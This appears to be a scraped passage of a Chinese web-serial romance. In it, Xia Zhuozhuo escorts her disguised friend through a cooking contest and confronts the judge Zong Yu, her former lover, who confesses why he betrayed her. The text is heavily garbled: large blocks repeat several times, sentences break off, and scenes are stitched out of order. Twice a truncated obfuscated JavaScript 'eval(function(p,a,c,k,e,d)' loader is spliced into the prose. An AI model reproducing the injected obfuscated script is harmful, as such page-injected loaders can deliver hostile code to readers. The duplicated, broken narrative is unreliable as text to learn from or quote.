她跟夏灼灼关系现在越来越亲昵,却没见过谷仔,哦不,应该叫秋雪。 只觉得,这个秋雪的,脸看起来精致漂亮,但个头着实有点大。 像个男人。 “我陪我朋友来参加比赛。”夏灼灼解释说:“第一名的奖品,对我朋友来说很重要。” 杜馨月点点头,说:“早知道你要比赛,我提前跟比赛方打声招呼,给你们内定算了!” 夏灼灼连忙做了个噤声的手势。 “别叫别人听到了。” “放心,外面没人,我在工作人员名单上看到你的名字,以为是重名,才进来看看的。” 夏灼灼点点头,让谷仔跟杜馨月打招呼。 “杜小姐好。”浑厚的男人声音。 杜馨月大大吃了一惊。 夏灼灼低声把事情解释了一遍。 杜馨月松了一口气,又说夏灼灼真是神人。 “我还以为,**这种东西,只有电视里有。” 夏灼灼笑笑,不多解释。 这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举办。去年的冠军是杜家的千金,今年不知道花落谁家。您要是感兴趣,我可以安排您做评委。” 赵台长只是随口一聊。 毕竟宗域日理万机。 却没想到,宗域竟然答应了。 “我今天正好没事,也见见世面。” 赵台长大吃一惊,随后喜不自禁。 “那我立刻安排。您能当评委,是本届参赛选手的荣幸。” “好。” …… 另一边。 夏灼灼还不知道这件事。 她正在替谷仔上妆,谷仔现在的新名字叫“秋雪”,他自己取的,非要叫这个。 却在这时,一道熟悉的声音响起。 “灼灼?还真是你!” 夏灼灼听出了对方的声音,微笑着转过头。 正是杜馨月。 “你怎么来了?”夏灼灼问。 “我还要问你呢,你怎么来了?”杜馨月一边说,一边打量谷仔。 她跟夏灼灼关系现在越来越亲昵,却没见过谷仔,哦不,应该叫秋雪。 只觉得,这个秋雪的,脸看起来精致漂亮,但个头着实有点大。 像个男人。 “我陪我朋友来参加比赛。”夏灼灼解释说:“第一名的奖品,对我朋友来说很重要。” 杜馨月点点头,说:“早知道你要比赛,我提前跟比赛方打声招呼,给你们内定算了!” 夏灼灼连忙做了个噤声的手势。 “别叫别人听到了。” “放心,外面没人,我在工作人员名单上看到你的名字,以为是重名,才进来看看的。” 夏灼灼点点头,让谷仔跟杜馨月打招呼。 “杜小姐好。”浑厚的男人声音。 杜馨月大大吃了一惊。 夏灼灼低声把事情解释了一遍。 杜馨月松了一口气,又说夏灼灼真是神人。 “我还以为,**这种东西,只有电视里有。” 夏灼灼笑笑,不多解释。 这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举办。去年的冠军是杜家的千金,今年不知道花落谁家。您要是感兴趣,我可以安排您做评委。” 赵台长只是随口一聊。 毕竟宗域日理万机。 却没想到,宗域竟然答应了。 “我今天正好没事,也见见世面。” 赵台长大吃一惊,随后喜不自禁。 “那我立刻安排。您能当评委,是本届参赛选手的荣幸。” “好。” …… 另一边。 夏灼灼还不知道这件事。 她正在替谷仔上妆,谷仔现在的新名字叫“秋雪”,他自己取的,非要叫这个。 却在这时,一道熟悉的声音响起。 “灼灼?还真是你!” 夏灼灼听出了对方的声音,微笑着转过头。 正是杜馨月。 “你怎么来了?”夏灼灼问。 “我还要问你呢,你怎么来了?”杜馨月一边说,一边打量谷仔。 她跟夏灼灼关系现在越来越亲昵,却没见过谷仔,哦不,应该叫秋雪。 只觉得,这个秋雪的,脸看起来精致漂亮,但个头着实有点大。 像个男人。 “我陪我朋友来参加比赛。”夏灼灼解释说:“第一名的奖品,对我朋友来说很重要。” 杜馨月点点头,说:“早知道你要比赛,我提前跟比赛方打声招呼,给你们内定算了!” 夏灼灼连忙做了个噤声的手势。 “别叫别人听到了。” “放心,外面没人,我在工作人员名单上看到你的名字,以为是重名,才进来看看的。” 夏灼灼点点头,让谷仔跟杜馨月打招呼。 “杜小姐好。”浑厚的男人声音。 杜馨月大大吃了一惊。 夏灼灼低声把事情解释了一遍。 杜馨月松了一口气,又说夏灼灼真是神人。 “我还以为,**这种东西,只有电视里有。” 夏灼灼笑笑,不多解释。 这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举办。去年的冠军是杜家的千金,今年不知道花落谁家。您要是感兴趣,我可以安排您做评委。” 赵台长只是随口一聊。 毕竟宗域日理万机。 却没想到,宗域竟然答应了。 “我今天正好没事,也见见世面。” 赵台长大吃一惊,随后喜不自禁。 “那我立刻安排。您能当评委,是本届参赛选手的荣幸。” “好。” …… 另一边。 夏灼灼还不知道这件事。 她正在替谷仔上妆,谷仔现在的新名字叫“秋雪”,他自己取的,非要叫这个。 却在这时,一道熟悉的声音响起。 “灼灼?还真是你!” 夏灼灼听出了对方的声音,微笑着转过头。 正是杜馨月。 “你怎么来了?”夏灼灼问。 “我还要问你呢,你怎么来了?”杜馨月一边说,一边打量谷仔。 她跟夏灼灼关系现在越来越亲昵,却没见过谷仔,哦不,应该叫秋雪。 只觉得,这个秋雪的,脸看起来精致漂亮,但个头着实有点大。 像个男人。 “我陪我朋友来参加比赛。”夏灼灼解释说:“第一名的奖品,对我朋友来说很重要。” 杜馨月点点头,说:“早知道你要比赛,我提前跟比赛方打声招呼,给你们内定算了!” 夏灼灼连忙做了个噤声的手势。 “别叫别人听到了。” “放心,外面没人,我在工作人员名单上看到你的名字,以为是重名,才进来看看的。” 夏灼灼点点头,让谷仔跟杜馨月打招呼。 “杜小姐好。”浑厚的男人声音。 杜馨月大大吃了一惊。 夏灼灼低声把事情解释了一遍。 杜馨月松了一口气,又说夏灼灼真是神人。 “我还以为,**这种东西,只有电视里有。” 夏灼灼笑笑,不多解释。 这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举办。去年的冠军是杜家的千金,今年不知道花落谁家。您要是感兴趣,我可以安排您做评委。” 赵台长只是随口一聊。 毕竟宗域日理万机。 却没想到,宗域竟然答应了。 “我今天正好没事,也见见世面。” 赵台长大吃一惊,随后喜不自禁。 “那我立刻安排。您能当评委,是本届参赛选手的荣幸。” “好。” …… 另一边。 夏灼灼还不知道这件事。 她正在替谷仔上妆,谷仔现在的新名字叫“秋雪”,他自己取的,非要叫这个。 却在这时,一道熟悉的声音响起。 “灼灼?还真是你!” 夏灼灼听出了对方的声音,微笑着转过头。 正是杜馨月。 “你怎么来了?”夏灼灼问。 “我还要问你呢,你怎么来了?”杜馨月一边说,一边打量谷仔。 她跟夏灼灼关系现在越来越亲昵,却没见过谷仔,哦不,应该叫秋雪。 只觉得,这个秋雪的,脸看起来精致漂亮,但个头着实有点大。 像个男人。 “我陪我朋友来参加比赛。”夏灼灼解释说:“第一名的奖品,对我朋友来说很重要。” 杜馨月点点头,说:“早知道你要比赛,我提前跟比赛方打声招呼,给你们内定算了!” 夏灼灼连忙做了个噤声的手势。 “别叫别人听到了。” “放心,外面没人,我在工作人员名单上看到你的名字,以为是重名,才进来看看的。” 夏灼灼点点头,让谷仔跟杜馨月打招呼。 “杜小姐好。”浑厚的男人声音。 杜馨月大大吃了一惊。 夏灼灼低声把事情解释了一遍。 杜馨月松了一口气,又说夏灼灼真是神人。 “我还以为,**这种东西,只有电视里有。” 夏灼灼笑笑,不多解释。 这个东西,在这个世界的确是电视里才有,但在她穿越做系统任务的另外一些世界里,是很常见的东西。 她偷师学艺,把技艺学过来了。 “你怎么会在这里?”夏灼灼问她。 杜馨月道:“我是上届的冠军,来负责颁奖和当评委的。你放心,这个比赛很水的,我一定给他打高分!” 她说这么直白,夏灼灼和谷仔都笑了。 而很快,比赛开始了。 第234章 宗域逼她 开拍之前参赛者先上台熟悉站位。 夏灼灼作为助理则是站在舞台下面摄影师的旁边。 她左侧方就是楼梯休息的时间可以立刻跑上台帮谷仔补妆。 工作人员让她在观众席坐着。 “如果没有意外至少得拍一个小时才能暂停休息。” 夏灼灼道谢却不离开。 舞台的灯光打的很亮温度也很高她怕**有个万一所以得一直盯着谷仔的脸。 就在这时两个工作人员抬着一张椅子过来。 “让一下。” 夏灼灼后退几步给他们让开一条路。 正要站回原位她看到那两个人把椅子放在了评委席上。 又在评委席上加上了一个名字牌:宗域。 夏灼灼的眸子狠狠一凝。 评委席刚才是没有宗域的名字的他分明……是冲她来的。 夏灼灼这一刻是真的生出了怒火。 她不理解宗域凭什么这样对她! 背叛她 她在这段感情是真正投入了真心的也想过要跟他长相厮守。 是宗域做了那个背叛者。 她从不欠他什么! 夏灼灼的指甲深深窃入了掌心。 等她意识过来疼痛的时候掌心已经被掐出了血痕。 她这才松开了攥紧的手。 很快入口处一群人过来。 夏灼灼一抬眼就看到了人群里的宗域。 他比以前白了不少高大而英俊一身西装笔挺衬得他越发出众。 但在夏灼灼眼里却再不复当年干净腼腆的少年模样。 从前不善言辞的他现在已经能在社交上如鱼得水了。 当年的少年已经蜕变为一个成熟的男人了。 她已经搞不懂当初她到底是喜欢宗域这个人还是喜欢当初他干净阳光的气质。 夏灼灼很快收回了视线专注于台上的“秋雪”。 谷仔虽然易容成了女人的样子但身量是一群人里最高的又偏瘦就显得身材极好。 只是他不肯戴胸垫就显得一马平川却愈发气质高级。 果然长得好看的男人扮起女人来毫不违和。 夏灼灼有心遮掩他身上的男性特征因而给他选的衣服是遮住手臂和双腿的女士西装还加了一条蓝粉丝巾遮住他的喉结。 同台的参赛者都不自觉多看了“秋雪”两眼。 “好漂亮……怎么之前没见过她?不知道是哪家的千金?” “我也不认识。可能以前在国外吧看气质的确有点留洋回来的意思。” “不管怎么样咱们就是凑数来露个脸的给她当好陪衬就行。” “也是。” 司慎行早已经上下打点过了这些参赛选手当然也全都“打点”好了。 各家对此的想法一致—— 横竖这个比赛并没有什么含金量还不如给司慎行做个顺水人情。 所以大家都心知肚明今天她们是来给这位秋雪小姐当绿叶的。 这会儿评委已经入座主持人紧跟着上台节目正式开拍。 主持人先介绍了台上十位参赛者而后开始介绍本次比赛的规则。 比赛分为三轮。 第一轮比刀功。 第二轮比烘焙手艺。 第三轮每个人可拿出自己最拿手的菜让评委品尝。 其中前面两轮比赛的分数占据最终结果的比例为百分之三十。 也就是说就算前面两轮落后如果第三轮拿到第一名也能成为最终获奖者。 而每一轮的结果都靠评委打分。 评委一共六位加了宗域之后就是七位了。 很快第一轮刀功比赛开始。 其他选手们表现都平平只有“秋雪”的刀功最好。 可到了打分环节主持人让宗域率先进行打分。 宗域给了秋雪一个六十分。 其他几个评委见状借着镜头没扫过自己纷纷改了分数。 以至于公布其他人的打分也都是在六十分上下唯独杜馨月给了98分。 结果是取平均分的。 秋雪这个刀功最好的平均分只有六十几。 杜馨月眉头紧蹙看了眼身侧的宗域低声开口:“宗先生你这分数……不太对吧?” 宗域一耸肩说:“千人千面杜小姐觉得那位秋雪小姐刀功好我却觉得一般。你看其他评委不也觉得一般吗?” 杜馨月咬着牙很想骂他一顿。 可当着镜头她努力忍下了。 她并不知宗域跟夏灼灼的过往但知道宗域的身份。 沪城刚来的空降兵。 她不为自己考虑 台上的谷仔看到自己的得分略微有些紧张朝台下 看过来。 夏灼灼对着谷仔轻轻摇了摇头,示意他稍安勿躁。 用眼神安抚好谷仔,夏灼灼扭头,深深朝宗域看过去。 宗域明显注意到了她的眼神,却兀自别开了视线,似乎压根没注意到她。 夏灼灼的眉头深深皱起。 她不知道是自己小人之心了,还是真的是宗域故意在针对她。 她深深吸了口气,叫自己先按耐住情绪。 或许,只是巧合。 毕竟宗域给其他人打分也不高,都是六十分上下。 这不能证明宗域在针对谷仔。 第一轮比赛录制好,正好一个小时。 谷仔下台了。 他在台上一直夹着嗓子说话,很难受。 两个人回了补妆间。 因补妆间是单人的,所以他不用再夹着嗓子说话。 “老大,宗域是几个意思?他针对我?难道是认出我了吗?不对啊,就算认出我,也没必要针对我。当初,是他负了你。” 夏灼灼说:“他给其他人打分也很低。你稍安勿躁。第一轮比赛占总分比例不高,你没落后多少,后面追上来就行。” 谷仔点头。 夏灼灼给他重新整理面具,确认不露出任何瑕疵。 夏灼灼在这时间给杜馨月打了个电话,叫她帮忙查一件事。 杜馨月欣然答应。 很快第二轮比赛开拍。 这一轮是比烘焙。 烘焙比做菜简单,只要记住比例,做出来的东西就不会太难吃。 谷仔做的是焦糖杏仁乳酪奶贝。 这东西不常见,虽然口味一般,但是胜在新奇。 夏灼灼觉得谷仔这次肯定能拿高分。 结果到打分环节,宗域给了个 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“你打算怎么办?要不我去求求他。他总得给我杜家一点面子的。” “不用。”夏灼灼说:“他是冲我来的,我只要确定这一点就行。你去忙你的,我自己去找他。” “要不要我帮忙?免得你见不到他。” “不用。”夏灼灼很笃定地说:“他这么做,就是逼我去找他。所以我肯定见得到他。” 杜馨月的眼神有些担忧。 “他到底为什么这么对你?” “说来话长,以后有机会,我慢慢说给你听。” “好,那你快去,休息时间只有二十分钟,已经过十分钟了。” 夏灼灼点头,麻烦杜馨月帮她安抚“秋雪”之后,不再耽搁,往评委休息室去。 路上,她拨通了一个电话,跟对方说了两句话便挂了。 …… 房间门口都贴着指引牌,她很顺利找到宗域那间。 门口站着两个警卫员。 正如夏灼灼预料的那样,两个警卫员只是看了她一眼,都不用她自报家门,就替她打开了门。 “夏小姐,请。” 夏灼灼不惊讶,故而脸上没有多余的表情,直接迈步进去。 宗域在抽烟。 他以前是不抽烟的。 不过夏灼灼一进去,他就掐灭了手里的香烟。 “你来了?” 宗域的眼神里,同样没有惊讶。 这却惹怒了夏灼灼。 她进门之前已经调整好了情绪的,现在怒火控制不住,直接蹿上眸底。 “宗域,你到底想干什么?” 宗域微微一愣。 眼前的夏灼灼,脸色铁青,美眸圆瞪,看他的眼神冰冷而嫌恶。 这是他第一次见夏灼灼对自己露出这样的表情。 哪怕当初他“劈腿”云霓,在花店被夏灼灼撞见,她也没露出过这样的表情。 她当时,是愤怒失望伤心的,现在那些情绪全没了,只剩下厌恶和冰冷。 宗域的心狠狠一痛。 第235章 宗域,真相 他近乎哀切地望着夏灼灼,似有无数的话想说。 夏灼灼瞧着这眼神,只觉得恶心。 “你不要这么看我,这会让我觉得,我的眼光真的很差!” 宗域的表情僵住。 夏灼灼继续说道:“你两次针对我朋友,到底想干什么?” 哪怕情绪再差,她也记得自己此行的目的。 宗域压抑住情绪,指了指对面的沙发。 “坐。我们坐下说。” 见夏灼灼依旧站着,他说:“我用你朋友逼你过来,的确是我的不对。但我只需要你给我五分钟说话的时间。我当时在门口的时候,就跟你提过,你不愿意,我只能用这种办法。” “按照你这么说,还成了我的错了?” “我不是这个意思……”他深吸一口气,近乎哀求地说:“小灼,我只需要五分钟,就当我求你。” “……” 夏灼灼很想给他一个耳光就走。 但她想起了谷仔跟她说过,失恋分为五个阶段:伤心、愤怒、交涉、绝望、接受。 她经历了伤心、愤怒、绝望,却漏了一步“交涉”,因而很难彻底接受。 她跟宗域没有一个好好的道别,她想要彻底跨过心里的阴影,或许需要跟宗域好好谈谈。 说开了,心结自然就解开了。 因而,夏灼灼犹豫两秒,还是坐下了。 宗域见她配合,唇角终于勾出一抹笑。 他替她倒了一杯热茶。 夏灼灼没动。 “我们时间不多,你长话短说吧。” 宗域噎了下,终于说起他憋在心里长达一年的话。 “我不是故意背叛你的……” 夏灼灼眉毛都没动一下。 宗域见她神色不变,心里又是一痛,这次的痛,让他心慌。 他怕自己接下来说的话,也无法打动她。 “介意我抽根烟吗?”他问。 夏灼灼微微有些不悦,但还是点头了。 ——她很不喜欢烟味。 司慎行知道这一点之后,当着她的面从不抽烟。 就算忍不住了,也会避开。 无意间,夏灼灼将两人做了比较。 得出来的结果就是,司慎行更尊重她。 至少,他从未逼她做任何事,更不曾让她伤心。 宗域抽了一口烟,这才开口说起往事。 当时,他家里出了一点事。 他父亲在赌桌 上,输光了家里所有的积蓄,回家后,他对自己的妻子,也就是宗域的妈妈又打又骂,说她是扫把星。 ——他把自己的一切过错都归咎于自己无辜的妻子。 平时他就会**,那一次打得格外狠。 宗太太被打得半死。 宗域正好在这时回家。 他当即揍了他爸。 情绪作祟,加上用力不当,他把人打**。 夏灼灼很惊讶地看了他一眼。 宗域继续说道:“是云霓恰好来家里,让云家出面,伪造了现场,做出我爸酗酒不小心点燃了屋子,被烧死在里面。” “他们不是无条件帮我,他们的条件,就是我必须跟云霓在一起。” 夏灼灼的手收拢,心情很复杂。 她从不知道这件事。 云家办事利落,连谷仔都没查到。 宗域哀伤地看她一眼,说:“小灼,我当时……真的没得选。我当时太稚嫩,没经历过那样的事。一开始,我以为跟她虚与委蛇一阵时间就好了,没想到被你发现……我当时只能说是我爱上了她。你能懂我的苦衷吗?我心里,从始至终,都只有你一个人。” 他动情上前,要去抱夏灼灼。 夏灼灼一个侧身避开了。 宗域抱了个空,心里也仿佛跟着空洞下来。 他苦笑一声,问她:“你已经知道经过,但是还是不会跟我和好,对吗?” 夏灼灼看他的眼神已经不再那么仇恨了,只是也没有太大的波澜。 “宗域,我理解你了,也原谅你了。 但是,时间如流水,我们都回不去了。你现在有妻子,而你的妻子的确也帮了你,也很爱你。 同样的,我现在也有阿行了,他同样也很爱我。 你应该跟我一样,放下过去,好好过日子。有云家帮忙,你的前途无量。” 宗域定定看着她,仿佛不能接受。 “你真的爱他?” “对。”夏灼灼点头:“我爱他,甚至比我以为的还要多。” “……可我忘不了你。我们不该分开的,如果没有出那件事,我们现在肯定还在一起。” “我知道。我们之间,少了点缘分。” “如果我要强求呢?” 夏灼灼深深看他一眼,说:“如果真是这样,我们之间少的就不只是缘分了。你别让我后悔跟你相遇一场。” 又说:“云霓很好,你该敞开心扉接受她。” 宗域笑了。 “我跟她,到今天还没发生过关系。” 夏灼灼蹙眉。 “你这样对她不公平。” “是她对我不公平!” “……可那件事,她的确帮了你,否则你现在应该在牢里,而不是成为人人吹捧的宗督导。” “不是这样的……” 宗域嘲讽地说:“我走到今天这个位置,终于有能力去查当**。我查到,那天我那个爸去赌,对手是云家的人。他们设计他,输光了钱,又给他灌酒,又恰好安排我回家……这一切,都是他们故意设计的!你说,她对我公平吗?我对她,还不够仁至义尽吗?” 夏灼灼蹙眉。 她不知道事情是这样的。 但…… 跟云霓打过一次擂台的她,深知云霓的确做得出这种事。 别说设计宗域的父亲了,就是她自己的亲爷爷,她也能下毒。 “小灼……”宗域很认真地看着她的眼睛说:“我对天发誓,我今天说的话,没有半个字假话。否则我不得好死,也永远得不到你!” “……我没有不信你。” “那你还愿意跟我回到过去吗?司慎行不是什么好人,他以前是私生子,如果没有什么手段,轻易坐不稳今天这个位置。他很危险!你在他身边,也会有危险!” 宗域很急切,又想牵她的手。 夏灼灼再次避开。 “我不管他用了什么手段坐稳今天的位置,我只知道,他对我是真心的。同样,我对他也是真心的。如果你设计拆散我们,我绝不会原谅你。连朋友,我们都没的做。” 宗域愣住。 “你真的对他用情至深?你真的已经彻底忘了我?” 夏灼灼动了动唇,说:“宗域,如果你愿意,我们以后还能做朋友。但是,也只能做朋友。如果你不想,那我会尽量不出现在你面前。” 宗域张了张嘴,好半天才挤出一句话:“这对我不公平……” “这个世界,本来就没有绝对的公平。你觉得对你不公平,那么我呢?当时我什么都不知道,却遭遇了你的背叛和伤害。我很努力才走出来,你却让我跟你一起回到过去。你觉得,这对我公平吗?” 哪怕当时宗域稍稍透露给她一点消息,她也不至于那么崩溃。 但是宗域没有。 “你当时心里想的,除了逃脱法律的制裁,也想过,云家能让你一步登天吧?” “……” “宗域,你问问自己的内心 ,你最想要的,究竟是权势,还是我?” “……” “你只是太贪心了。得到了你想要的权势,现在,还想得到我。没有这样的,宗域,人只能选一样最想要的东西。如果我让你选我,你是否真的能放下现在所拥有的一切?” 宗域抿住唇,不说话了。 他也知道,自己变了。 当初跟夏灼灼相爱的他,的确赤诚一片。 现在在政界的泥土里滚了一圈,他早就不干净了。 宗域慢慢垂下了眼睛。 他终于真真切切地感受到,夏灼灼再也不会爱她了。 而他,似乎也不配爱她了。 哀莫大于心死。 宗域整个人仿佛摇摇欲坠。 “宗域。”夏灼灼上前一步,看着他说:“我还是相信,我当初没有爱错人。请你别让我觉得我错了,好吗?” 宗域抬起眼皮,唇瓣微动,但一个字都说不出来。 门外在这时传来敲门声。 “宗先生,节目马上开录了。” 宗域声音喑哑地开口:“我马上来。” “是。”门口的脚步声渐渐远去。 夏灼灼道:“我先走了。希望下次再见面,我们都能心平气和。” 说完,她迈步往门口走。 宗域叫住她。 “小灼……” 夏灼灼扭头。 就听宗域问她:“你能不能抱我一下?最后一次。” 他像个孩子,可怜又脆弱。 夏灼灼沉默了两秒,回过身,轻轻抱住了宗域。 宗域的身体,微微发抖。 夏灼灼感到肩上一凉,他竟然是哭了。 “……” 夏灼灼的心里同样很不是滋味。 命运弄人。 可他们,终究是覆水难收。 夏灼灼收回了手,再次往外走。 这次,宗域没有再叫住她。 夏灼灼回到录制现场,等节目开拍,宗域都没有再出现。 节目组临时又找了个评委,坐上宗域的位置。 第三轮比赛,谷仔拿了全场最高分,一骑绝尘。 综合前两轮比赛,谷仔最终还是拿到了冠军。 也拿到了心心念念的奖品:一副金筷子。 回去的路上,谷仔叽叽喳喳,很是激动。 夏灼灼表面配合,心里实则情绪低落。 命运对宗域是不公平的。 命运对她,同样也是不公平的。 但人得自己找到平衡。 多看看自己得到的,少去想自己失去的。 渐渐的,夏灼灼已经说服了自己,心情重归于平静。 与此同时,窦斯齐得到了消息。 ,你最想要的,究竟是权势,还是我?” “……” “你只是太贪心了。得到了你想要的权势,现在,还想得到我。没有这样的,宗域,人只能选一样最想要的东西。如果我让你选我,你是否真的能放下现在所拥有的一切?” 宗域抿住唇,不说话了。 他也知道,自己变了。 当初跟夏灼灼相爱的他,的确赤诚一片。 现在在政界的泥土里滚了一圈,他早就不干净了。 宗域慢慢垂下了眼睛。 他终于真真切切地感受到,夏灼灼再也不会爱她了。 而他,似乎也不配爱她了。 哀莫大于心死。 宗域整个人仿佛摇摇欲坠。 “宗域。”夏灼灼上前一步,看着他说:“我还是相信,我当初没有爱错人。请你别让我觉得我错了,好吗?” 宗域抬起眼皮,唇瓣微动,但一个字都说不出来。 门外在这时传来敲门声。 “宗先生,节目马上开录了。” 宗域声音喑哑地开口:“我马上来。” “是。”门口的脚步声渐渐远去。 夏灼灼道:“我先走了。希望下次再见面,我们都能心平气和。” 说完,她迈步往门口走。 宗域叫住她。 “小灼……” 夏灼灼扭头。 就听宗域问她:“你能不能抱我一下?最后一次。” 他像个孩子,可怜又脆弱。 夏灼灼沉默了两秒,回过身,轻轻抱住了宗域。 宗域的身体,微微发抖。 夏灼灼感到肩上一凉,他竟然是哭了。 “……” 夏灼灼的心里同样很不是滋味。 命运弄人。 可他们,终究是覆水难收。 夏灼灼收回了手,再次往外走。 这次,宗域没有再叫住她。 夏灼灼回到录制现场,等节目开拍,宗域都没有再出现。 节目组临时又找了个评委,坐上宗域的位置。 第三轮比赛,谷仔拿了全场最高分,一骑绝尘。 综合前两轮比赛,谷仔最终还是拿到了冠军。 也拿到了心心念念的奖品:一副金筷子。 回去的路上,谷仔叽叽喳喳,很是激动。 夏灼灼表面配合,心里实则情绪低落。 命运对宗域是不公平的。 命运对她,同样也是不公平的。 但人得自己找到平衡。 多看看自己得到的,少去想自己失去的。 渐渐的,夏灼灼已经说服了自己,心情重归于平静。 与此同时,窦斯齐得到了消息。 ,你最想要的,究竟是权势,还是我?” “……” “你只是太贪心了。得到了你想要的权势,现在,还想得到我。没有这样的,宗域,人只能选一样最想要的东西。如果我让你选我,你是否真的能放下现在所拥有的一切?” 宗域抿住唇,不说话了。 他也知道,自己变了。 当初跟夏灼灼相爱的他,的确赤诚一片。 现在在政界的泥土里滚了一圈,他早就不干净了。 宗域慢慢垂下了眼睛。 他终于真真切切地感受到,夏灼灼再也不会爱她了。 而他,似乎也不配爱她了。 哀莫大于心死。 宗域整个人仿佛摇摇欲坠。 “宗域。”夏灼灼上前一步,看着他说:“我还是相信,我当初没有爱错人。请你别让我觉得我错了,好吗?” 宗域抬起眼皮,唇瓣微动,但一个字都说不出来。 门外在这时传来敲门声。 “宗先生,节目马上开录了。” 宗域声音喑哑地开口:“我马上来。” “是。”门口的脚步声渐渐远去。 夏灼灼道:“我先走了。希望下次再见面,我们都能心平气和。” 说完,她迈步往门口走。 宗域叫住她。 “小灼……” 夏灼灼扭头。 就听宗域问她:“你能不能抱我一下?最后一次。” 他像个孩子,可怜又脆弱。 夏灼灼沉默了两秒,回过身,轻轻抱住了宗域。 宗域的身体,微微发抖。 夏灼灼感到肩上一凉,他竟然是哭了。 “……” 夏灼灼的心里同样很不是滋味。 命运弄人。 可他们,终究是覆水难收。 夏灼灼收回了手,再次往外走。 这次,宗域没有再叫住她。 夏灼灼回到录制现场,等节目开拍,宗域都没有再出现。 节目组临时又找了个评委,坐上宗域的位置。 第三轮比赛,谷仔拿了全场最高分,一骑绝尘。 综合前两轮比赛,谷仔最终还是拿到了冠军。 也拿到了心心念念的奖品:一副金筷子。 回去的路上,谷仔叽叽喳喳,很是激动。 夏灼灼表面配合,心里实则情绪低落。 命运对宗域是不公平的。 命运对她,同样也是不公平的。 但人得自己找到平衡。 多看看自己得到的,少去想自己失去的。 渐渐的,夏灼灼已经说服了自己,心情重归于平静。 与此同时,窦斯齐得到了消息。 ,你最想要的,究竟是权势,还是我?” “……” “你只是太贪心了。得到了你想要的权势,现在,还想得到我。没有这样的,宗域,人只能选一样最想要的东西。如果我让你选我,你是否真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你只是太贪心了。得到了你想要的权势,现在,还想得到我。没有这样的,宗域,人只能选一样最想要的东西。如果我让你选我,你是否真的能放下现在所拥有的一切?” 宗域抿住唇,不说话了。 他也知道,自己变了。 当初跟夏灼灼相爱的他,的确赤诚一片。 现在在政界的泥土里滚了一圈,他早就不干净了。 宗域慢慢垂下了眼睛。 他终于真真切切地感受到,夏灼灼再也不会爱她了。 而他,似乎也不配爱她了。 哀莫大于心死。 宗域整个人仿佛摇摇欲坠。 “宗域。”夏灼灼上前一步,看着他说:“我还是相信,我当初没有爱错人。请你别让我觉得我错了,好吗?” 宗域抬起眼皮,唇瓣微动,但一个字都说不出来。 门外在这时传来敲门声。 “宗先生,节目马上开录了。” 宗域声音喑哑地开口:“我马上来。” “是。”门口的脚步声渐渐远去。 夏灼灼道:“我先走了。希望下次再见面,我们都能心平气和。” 说完,她迈步往门口走。 宗域叫住她。 “小灼……” 夏灼灼扭头。 就听宗域问她:“你能不能抱我一下?最后一次。” 他像个孩子,可怜又脆弱。 夏灼灼沉默了两秒,回过身,轻轻抱住了宗域。 宗域的身体,微微发抖。 夏灼灼感到肩上一凉,他竟然是哭了。 “……” 夏灼灼的心里同样很不是滋味。 命运弄人。 可他们,终究是覆水难收。 夏灼灼收回了手,再次往外走。 这次,宗域没有再叫住她。 夏灼灼回到录制现场,等节目开拍,宗域都没有再出现。 节目组临时又找了个评委,坐上宗域的位置。 第三轮比赛,谷仔拿了全场最高分,一骑绝尘。 综合前两轮比赛,谷仔最终还是拿到了冠军。 也拿到了心心念念的奖品:一副金筷子。 回去的路上,谷仔叽叽喳喳,很是激动。 夏灼灼表面配合,心里实则情绪低落。 命运对宗域是不公平的。 命运对她,同样也是不公平的。 但人得自己找到平衡。 多看看自己得到的,少去想自己失去的。 渐渐的,夏灼灼已经说服了自己,心情重归于平静。 